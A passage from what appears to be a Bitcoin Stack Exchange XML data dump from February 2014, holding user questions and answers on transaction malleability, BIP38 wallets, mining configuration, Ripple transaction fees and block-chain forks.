wrong.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: trying to express myself more clearly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the range and format of the signature needs to be standardized. But there are other cases of malleability as Sipa points out like adding nonsense OPs to the tx_in script or using alternative OPs that have the same or a similar effect. I am only talking about these other cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My point is: The signature itself can not be signed but why are OP codes that may or may not be present in the txin script not signed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;&#xA;Today:&lt;br&gt;&#xA; normal txinscript: &quot;sig&quot;          --&gt;  signature format: &quot;&quot; --&gt; valid&lt;br&gt;&#xA; malled txinscript: &quot;OP_NULL sig&quot;  --&gt;  signature format: &quot;&quot; --&gt; valid  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not:&lt;br&gt;&#xA; normal txinscript: &quot;sig&quot;          --&gt;  signature format: &quot;&quot; --&gt; valid&lt;br&gt;&#xA; malled txinscript: &quot;OP_NULL sig&quot;  --&gt;  signature format: &quot;OP_NULL &quot; --&gt; FAIL  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Signature format today replaces the whole txinscript with &quot;&quot;. To me it seems that it would be safer to only remove the signature itself but keep the opcodes if present so that it is impossible to alter existing opcodes or add nonsense opcodes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it because it is not know what part of the script is the signature? I think it could be marked as such should that be the issue.&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="5406" LastEditDate="2014-03-15T14:06:08.777" LastActivityDate="2014-03-15T14:06:08.777" Title="Tx Malleability: Why is the Script not included in the Signed Hash?" Tags="|transactions|script|signature|transaction-malleability|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22127" PostTypeId="2" ParentId="19842" CreationDate="2014-02-13T15:01:49.693" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/wallet/android-app&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blockchain.info&lt;/a&gt; works well, exactly as you describe for BIP38 encrypted keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I switched to &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.mycelium.wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mycelium&lt;/a&gt; in late 2014 and have had good experiences since then.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;what's the state of BIP-38 integration with wallets in general?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is actually quite good now.&#xA;Only obviously missing wallet is Armory: &lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory/issues/131&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/etotheipi/BitcoinArmory/issues/131&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Armory pioneered many of these ideas with its own implementations, but it is not yet using standards like BIP32 and BIP38 which came later)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can also use &lt;a href=&quot;http://bippy.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bippy&lt;/a&gt; to work with BIP38 encrypted keys offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I just added recommendations here for creating a paper wallet:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22115/how-to-download-bitaddress-org-to-use-offline/22124#22124&quot;&gt;How to download bitaddress.org to use offline?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13440" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-09-17T16:33:02.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22128" PostTypeId="2" ParentId="22112" CreationDate="2014-02-13T15:13:02.950" Score="2" Body="&lt;p&gt;All Bitcoin transactions are public, in the sense that everyone can see which addresses sent and received the coins. (However, this includes no information about who owns the addresses.) This is an essential part of the Bitcoin protocol: you can verify the validity of a transaction that sends coins to you, by tracing the &quot;chain of custody&quot; of those coins all the way back to their creation,   and checking cryptographically that each transaction along the way was properly authorized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So since transaction data is public, everyone can see the balance of every address. Thus it's possible to determine that 927 addresses own over half of all coins in existence. This doesn't tell us who the human owners are! It's quite likely that some of those addresses belong to the same people, meaning that wealth is actually concentrated in even fewer hands. On the other hand, it's also possible that some of those addresses are shared property; for instance, some could belong to a mutual fund.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2014-02-13T15:28:24.300" LastActivityDate="2014-02-13T15:28:24.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22129" PostTypeId="1" CreationDate="2014-02-13T15:30:48.750" Score="-1" ViewCount="628" Body="&lt;p&gt;I just started mining on Slush Pool using &lt;code&gt;Macminer&lt;/code&gt; with a CPU. I am getting a hashrate of 12.28kH/s with the &lt;code&gt;Scrypt hash algorithm&lt;/code&gt;, which I guess is not a big rate at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering about the acceptance bit, do I have to wait for the whole block to finish, so I can get the acceptance and shares, or does this mean I'm wasting my time and it's not going to be accepted? &lt;/p&gt;&#xA;" OwnerUserId="13441" LastEditorUserId="5406" LastEditDate="2016-04-25T20:27:42.077" LastActivityDate="2016-04-25T20:27:42.077" Title="0 accepted out of 460? Will my shares be accepted eventually?" Tags="|mining-profitability|scrypt|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22130" PostTypeId="2" ParentId="22118" CreationDate="2014-02-13T15:32:29.377" Score="1" Body="&lt;p&gt;The cpu is not used while mining and thus should not bottleneck your setup. The only impact that I could see would be bootup times, and it shouldn't be significant.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-02-13T15:32:29.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22131" PostTypeId="2" ParentId="22111" CreationDate="2014-02-13T15:51:24.230" Score="0" Body="&lt;p&gt;Ripple is the most functional since it has nearly instantaneous verification &amp;amp; confirmation, &lt;a href=&quot;https://bitcoin.stackexchange.com/a/21955/5107&quot;&gt;approximately 10 seconds&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine if you had to wait the 60 minutes required for total confirmation to buy something in your daily life like a coke at a vending machine.  I think you'd either pass, use a fiat, or use something like Ripple.  I've never waited an hour for a Coke, so I could be biased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that regard, most cryptocurrencies are not currencies but assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then again, you could always forgo 100% confirmation and hope for the best, but we've seen how that's working for the exchanges that do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that there is an element of centralization to Ripple, but it seems there are &lt;a href=&quot;https://bitcoin.stackexchange.com/a/21953/5107&quot;&gt;plans to fully decentralize&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-02-13T15:51:24.230" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="22132" PostTypeId="2" ParentId="22111" CreationDate="2014-02-13T16:14:46.263" Score="3" Body="&lt;p&gt;Only time will tell if Bitcoin is the better.&#xA;For sure is the first introducing this concept and the biggest market cap at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to understand the &quot;cheap&quot; concept. Absolute value means nothing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose at time t1 there are 2 coins and their prices are:&#xA;A 1000$, B 1$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some time this are the coin prices &#xA;A 2000$, B 1.5$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At time t1 coin A was the cheapest!&lt;/p&gt;&#xA;" OwnerUserId="6693" LastActivityDate="2014-02-13T16:14:46.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22137" PostTypeId="2" ParentId="22129" CreationDate="2014-02-13T19:39:43.983" Score="3" Body="&lt;p&gt;If you're scrypt mining a SHA256d coin, you will probably never get any shares accepted. You need to use the mining algorithm the coin uses.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-13T19:39:43.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22138" PostTypeId="2" ParentId="22126" CreationDate="2014-02-13T19:43:30.663" Score="3" Body="&lt;p&gt;The tx_in &quot;script&quot; is the signature (and pubkey and some formatting).  It is a somewhat confusing name which kinda implies there is a tx_in script and then somewhere else these is this signature, but that isn't the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The signature can't be included in the input which forms the signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This diagram might help.&#xA;&lt;a href=&quot;https://en.bitcoin.it/w/images/en/e/e1/TxBinaryMap.png&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/w/images/en/e/e1/TxBinaryMap.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The diagram on the left is a &quot;standard&quot; tx_in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tx_input structure consists of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Previous txout-hash (tx_id)&#xA;Previous Txout-index&#xA;Txin-script length&#xA;Txin-script &#xA;sequence_no&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this is really just an abstraction the Txin_script is just the signature and pubkey which consists of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;L(sig)&#xA;0x30&#xA;L(rs)&#xA;0x02&#xA;L(r)&#xA;Sig r&#xA;0x02&#xA;L(s)&#xA;Sig s&#xA;0x01&#xA;L(key)&#xA;0x04&#xA;Key X&#xA;Key y (only for uncompressed keys)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you saying the txin script is mutable is simply another way of saying the signature (and the formating).  There isn't one single method to mutability.  ECDSA itself has mutable signatures,  the padding and formatting of the signature can be modified and still be valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making tx_id immutable requires either computing the tx_id (hash) using an alternate method, where the payload of the hash is all immutable elements, or restricting the ECDSA signature to a particular subset of parameters, formatting, and padding such that for a given payload there is only one possible &quot;correct&quot; Bitcoin signature.  Anything else while it may be a valid ECDSA signature would be considered invalid on the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a non-trivial task.  Not impossible but it will not be resolved &quot;fast and easy&quot; and as far as I can see will require a hard fork of the network.  This means additional time in testing, adding forward compatibility, and consensus building to avoid unintended consequences like leaving a significant portion of the network on the old fork.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2014-02-13T21:15:20.977" LastActivityDate="2014-02-13T21:15:20.977" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22139" PostTypeId="1" AcceptedAnswerId="22142" CreationDate="2014-02-13T21:02:28.647" Score="3" ViewCount="191" Body="&lt;p&gt;Is there a way to configure &lt;code&gt;cgminer&lt;/code&gt; to accept valid but nonstandard transactions for mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, where, theoretically, would be a good place to look if I was interested in mining nonstandard transactions into the blockchain, i.e. what must I modify in what node/client code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, would it be enough to modify a client to relay such transactions to &lt;code&gt;cgminer&lt;/code&gt; without modifying the mining package itself? Does &lt;code&gt;cgminer&lt;/code&gt; also verify that a transaction is standard?&lt;/p&gt;&#xA;" OwnerUserId="5856" LastEditorUserId="5406" LastEditDate="2016-04-25T16:19:06.183" LastActivityDate="2016-04-25T16:19:06.183" Title="Mine valid but nonstandard transactions" Tags="|development|cgminer|transaction-selection|non-standard-transaction|relay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22140" PostTypeId="1" AcceptedAnswerId="22146" CreationDate="2014-02-13T21:07:05.670" Score="2" ViewCount="2221" Body="&lt;p&gt;How does Ripple charge fees for XRP-only transactions to compensate nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard of what I can only describe as a &quot;network fee&quot;, that some XRP are burned per transaction.  What is the motivation for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also unsure of how the node types are compensated.  There seems to be consensus builders and some kind of set of miners, but I can't be sure.  Are they also compensated through BitCoin type fees?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2014-02-14T19:39:11.930" LastActivityDate="2014-02-14T19:39:11.930" Title="Ripple node compensation" Tags="|ripple|transaction-fees|alternatives|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22141" PostTypeId="1" CreationDate="2014-02-13T21:23:22.890" Score="1" ViewCount="34" Body="&lt;p&gt;What to do to run them on Windows 7? Just using a normal installation, x64, where normal bitcoind.exe, downloaded from bitcoin.org runs fine...&#xA;The builds which crash are from &lt;a href=&quot;http://jenkins.bluematt.me/pull-tester/&quot; rel=&quot;nofollow&quot;&gt;http://jenkins.bluematt.me/pull-tester/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13449" LastActivityDate="2014-02-13T21:23:22.890" Title="Running builds from pull-tester on windows results in crash on startup" Tags="|bitcoind|compiling|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22142" PostTypeId="2" ParentId="22139" CreationDate="2014-02-13T21:54:50.503" Score="1" Body="&lt;p&gt;I suggest you go and read about just what &lt;code&gt;cgminer&lt;/code&gt; is presented with, in most cases it is just the header which has absolutely no bearing on the content of the block. It does not, and can not in most situations know what the work it has been provided with actually is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The node providing work must be modified slightly by changing the &lt;code&gt;isStandard&lt;/code&gt; checks, which you can find in &lt;code&gt;main.cpp&lt;/code&gt; of the Bitcoin core client. There's not really that much interesting you can do at present without making your block invalid, but it's easier just to submit them directly to eligius.st which is a pool that already accepts certain nonstandard transactions. The chance of a user solo mining a block is vanishingly tiny at this point. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-13T21:54:50.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22143" PostTypeId="1" AcceptedAnswerId="22144" CreationDate="2014-02-13T17:37:31.217" Score="5" ViewCount="1989" Body="&lt;p&gt;I've been reading official BTC documentation and now I'm completely lost. Documentations is too tangled and written in unnecessary many words.&#xA;They have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Address&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Accounts_explained&lt;/a&gt; (no, actually not &lt;em&gt;explained&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, somebody tell me the difference between them in a simple manner. What's an address, an account, a wallet, and how does the keys fit in.&lt;/p&gt;&#xA;" OwnerUserId="15540" OwnerDisplayName="Sly" LastEditorUserId="5406" LastEditDate="2014-03-04T17:48:28.587" LastActivityDate="2014-03-04T17:48:28.587" Title="Bitcoin - differences between address, account and wallet" Tags="|wallet|address|bitcoin-core-accounts|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22144" PostTypeId="2" ParentId="22143" CreationDate="2014-02-13T17:48:58.270" Score="7" Body="&lt;p&gt;&quot;Accounts&quot; are a concept limited to bitcoin-qt, and it's probably better to forget about them entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each address has a corresponding private key, that you use to move bitcoin out of that address. A wallet is simply a collection of (address, address_key) pairs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some people also use the term &quot;wallet&quot; to refer to the software that &lt;strong&gt;implements&lt;/strong&gt; the wallet functionality.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Obviously, this is a grossly simplified answer, and not strictly true, but useful if you just want to understand bitcoin superficially.&lt;/p&gt;&#xA;" OwnerUserId="13463" OwnerDisplayName="goncalopp" LastActivityDate="2014-02-13T17:48:58.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22145" PostTypeId="2" ParentId="22126" CreationDate="2014-02-13T23:16:45.977" Score="4" Body="&lt;p&gt;You are absolutely right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason why this is done, is because that is not how the consensus rules currently work. Changing it would require a hard fork, updating every node and eventually every wallet.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-02-13T23:16:45.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22146" PostTypeId="2" ParentId="22140" CreationDate="2014-02-13T23:25:51.633" Score="3" Body="&lt;p&gt;During normal operations, the &quot;fee&quot; is set to be a small fraction of .01 USD. This is for ALL transactions, regardless of the units being exchanged through the system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a protection measure for the ledger against spam attacks. If there was an attempt to overload the consensus system, the fee would increase in increments. It would still be a very small amount for a normal user and would be a financial hindrance to a spam attack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no monetary compensation for being a part of the consensus. The base fees and load fees are destroyed. Ripples are not mined, it was all created at once. People will likely be running their own servers for fast, secure access to consensus, not coin rewards. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A basic and technical overview of transaction fees and how they escalate to prevent spam&#xA;&lt;a href=&quot;https://ripple.com/wiki/Transaction_Fee&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/wiki/Transaction_Fee&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How consensus works. &#xA;&lt;a href=&quot;https://ripple.com/wiki/Consensus&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/wiki/Consensus&lt;/a&gt;&#xA;&lt;br&gt;&quot;Finding consensus by trusting validators not to collude is a simple and strong way to establish the valid ledger. Because, the network is not relying on proof work, this consensus process is fast and allows the Ripple network to validate ledgers in seconds.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An excellent visual explanation of consensus. Also shows how transactions can be verified within seconds as opposed to the minutes required for many other crypto-currencies. &#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=pj1QVb1vlC0&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=pj1QVb1vlC0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12565" LastEditorUserId="12565" LastEditDate="2014-02-13T23:59:10.887" LastActivityDate="2014-02-13T23:59:10.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22147" PostTypeId="2" ParentId="22126" CreationDate="2014-02-13T23:32:19.550" Score="3" Body="&lt;pre&gt;&lt;code&gt;My point is: The signature itself can not be signed but why are OP codes that may or may not be present in the txin script not signed?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The updated question provides a more specific context, and so I will answer it as a new answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no reason that Bitcoin couldn't be hard forked to accomplish what you indicate.  If you are wondering why such a complex signing scheme?  As Pieter says &quot;ask Satoshi&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even before we encountered these issues I always found the signature portion of the transaction to be overly complex and counterintuitive.  If Bitcoin tx were signed like they are in just about any other cryptographic system the signature wouldn't be part of the input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could look something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tx header&#xA;input(s)&#xA;output(s)&#xA;signature(s)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The tx header, input(s), and output(s) would comprise the &quot;tx body&quot;.  The hash of the tx body is the tx_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To construct a transaction the client would create the tx body, compute the tx hash.  The tx hash + priv key for each input would be used to generate a signature.  The signatures would be appended to the tx body and the entire thing broadcast as the tx message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To validate, remove the signatures from the tx and you are left with the tx body.  Hash the remaining tx &quot;body&quot;, verify signature.  Verify the inputs, verify the outputs.  Verify each of the signatures is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course such a radical change to Bitcoin is still &quot;possible&quot; but it is unlikely it will ever be forked to accommodate that.  Satoshi got a lot right but he wasn't perfect and this is one example.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2014-02-14T08:38:05.247" LastActivityDate="2014-02-14T08:38:05.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22149" PostTypeId="1" AcceptedAnswerId="22151" CreationDate="2014-02-14T01:19:40.167" Score="5" ViewCount="984" Body="&lt;p&gt;I'm a bit new to the bitcoin system, so I apologize if this is a &quot;noob&quot; question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A user attempts to take all the unverified transactions it knows about and aggregate them in a chain block. The same applies to all the users world wide - they all attempt to aggregate all the unverified transactions into a block chain with a 1 success every 10 minutes on a global scale rate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But - I imagine that when all the devices are trying to do this, all the devices have a slightly different list of unverified transactions, since it takes a while for a transaction to propagate to all the devices world-wide&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's say device A and device B both create a block at the same time, when some &#xA;transactions in A don't appear in B and vise-versa. Then, more block chains are created and  after some time the shorter one is discarded - all the transactions which appeared as verified in the shorter block chain now become unverified again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, what happens to the transaction fees &amp;amp; the 25 bitcoin award given to the guy who created the &quot;bad&quot; block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, fine - the 25 bitcoin award could theoretically stay with the guy who created the block, since he did do the work, but the transaction fee? It would need to be paid to the next guy who verifies the transaction, shouldn't it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or in this case, would the user need to pay 2 transaction fees?&lt;/p&gt;&#xA;" OwnerUserId="13453" LastEditorUserId="5406" LastEditDate="2014-02-14T12:25:54.567" LastActivityDate="2014-02-14T12:28:02.873" Title="Transaction fees when a block chain is discarded" Tags="|blockchain|transaction-fees|blockchain-fork|mining-reward|immature-coins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22150" PostTypeId="1" AcceptedAnswerId="22756" CreationDate="2014-02-14T01:27:24.960" Score="4" ViewCount="383" Body="&lt;p&gt;As of now (February 2014), how easy is it to have a transaction which makes use of OP_RETURN data confirmed into a block? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do standard nodes forward such transactions yet? Have major mining pools committed to support? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there specific steps that can improve the chances of such a transaction being mined, like connecting to certain nodes with advertised support, or adding extra transaction fees?&lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2014-03-24T07:04:45.717" Title="How widespread is OP_RETURN forwarding and mining (as of February 2014)?" Tags="|transactions|mining-pools|raw-transaction|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22151" PostTypeId="2" ParentId="22149" CreationDate="2014-02-14T01:53:58.893" Score="3" Body="&lt;p&gt;The blocks on the chain that loses are essentially forgotten. (It's better to call them losing blocks, than &quot;bad&quot; blocks, because they were legal and offered in good faith. They just lost a network race.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus on the winning chain, there's no record of the losing-block reward, or the transaction fees. If there's no record of it in the common history, you don't have it. It's as if the reward and fees on the losing branch never happened. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many transactions likely already existed in both blocks. (Most redundant blocks happen by accident, and can already contain most of the same transactions.) Despite these transactions, with their fees, appearing in two places for a time window of uncertainty, since only one set of consistent blocks will eventually win, those fees are only meaningfully spent, and then re-spendable, in the winning chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any transactions missing from the winning chain are still eligible for inclusion, as long as they're still consistent with the cemented-history. Anyone building on the winning chain, who still knows about the unverified transactions, might add them on a subsequent block. Anyone interested in ensuring they're still widely-known may continue to broadcast them to peers. &lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2014-02-14T01:53:58.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22152" PostTypeId="1" CreationDate="2014-02-14T02:36:16.107" Score="7" ViewCount="3030" Body="&lt;p&gt;When running bitcoind under OSX/Linux, how can we add a watch-only wallet using the JSON RPC? Do we need the public key or is the bitcoin address sufficient?&lt;/p&gt;&#xA;" OwnerUserId="13157" LastEditorUserId="5406" LastEditDate="2014-03-27T12:59:31.823" LastActivityDate="2015-06-21T17:10:26.543" Title="Add a Watch-only Wallet in Bitcoind" Tags="|bitcoind|json-rpc|watch-only|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22153" PostTypeId="2" ParentId="22152" CreationDate="2014-02-14T04:51:01.047" Score="2" Body="&lt;p&gt;Today this is not possible.  There's been an &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3383?source=cc&quot; rel=&quot;nofollow&quot;&gt;active discussion&lt;/a&gt; on this topic on GitHub, but it's currently not implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a pull request submitted a while back that some people may have started using in production, but my understanding is that the code is old and currently not buildable against the current source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be a great feature, so I hope it comes out at some point.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-02-14T04:51:01.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22154" PostTypeId="2" ParentId="3262" CreationDate="2014-02-14T05:14:42.057" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.michaelnielsen.org/ddi/how-the-bitcoin-protocol-actually-works/&quot; rel=&quot;nofollow&quot;&gt;http://www.michaelnielsen.org/ddi/how-the-bitcoin-protocol-actually-works/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;provides a very nice picture of the Bitcoin Protocol. It explains how the transaction is done, how the validation is managed, the cons and pros of some rules and much more, but not in detail rather the basic understanding.&lt;/p&gt;&#xA;" OwnerUserId="13458" LastEditorUserId="5406" LastEditDate="2014-02-14T10:03:32.113" LastActivityDate="2014-02-14T10:03:32.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22155" PostTypeId="2" ParentId="21683" CreationDate="2014-02-14T06:35:53.593" Score="0" Body="&lt;p&gt;You need to install BerkleyDB, refer to this document ./doc/build-osx.md  &lt;/p&gt;&#xA;" OwnerUserId="10463" LastActivityDate="2014-02-14T06:35:53.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22156" PostTypeId="2" ParentId="21727" CreationDate="2014-02-14T07:10:46.460" Score="1" Body="&lt;p&gt;I managed to fix this by using the &lt;a href=&quot;http://k-dev.net/cgminer/&quot; rel=&quot;nofollow&quot;&gt;kalroth patched version of cgminer 3.7.2&lt;/a&gt;. Sometimes my cards still black screen after rebooting the mining process, but generally it runs quitestable once started from a clean reboot. &lt;/p&gt;&#xA;" OwnerUserId="13162" LastActivityDate="2014-02-14T07:10:46.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22157" PostTypeId="1" AcceptedAnswerId="22272" CreationDate="2014-02-14T07:42:37.193" Score="1" ViewCount="692" Body="&lt;p&gt;What can I do to programmatically get statistics such as current Bitcoin difficulty, Bitcoin award per block, USD/BTC exchange rate?&lt;/p&gt;&#xA;" OwnerUserId="13460" LastEditorUserId="5406" LastEditDate="2016-04-25T20:26:47.213" LastActivityDate="2016-04-25T20:26:47.213" Title="Automatically Get Bitcoin Difficulty, Bitcoins/Block, Exchange Rate Statistics" Tags="|bitcoind|bitcoin-core|server|services|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-16T20:57:45.760" ContentLicense="CC BY-SA 3.0" />
  <row Id="22158" PostTypeId="2" ParentId="22083" CreationDate="2014-02-14T09:14:21.420" Score="2" Body="&lt;p&gt;I think the closest you get is &lt;a href=&quot;https://bitcointalk.org/index.php?PHPSESSID=3m18crc564mqjhds1i072bb7j5&amp;amp;topic=134179.0&quot; rel=&quot;nofollow&quot;&gt;this list of all cryptocoins on Bitcointalk&lt;/a&gt;. There is a very brief summery of features there, but you can click further to the corresponding official thread, which should contain all information available on the altcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, almost none have a thorough explanation of the algorithms involved and are hard to access without looking through the entire code (if available at all). I'm even a bit disappointed in Bitcoin in this case. I have yet to see a javadoc like thorough code documentation for any cryptocoin.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-02-14T09:14:21.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
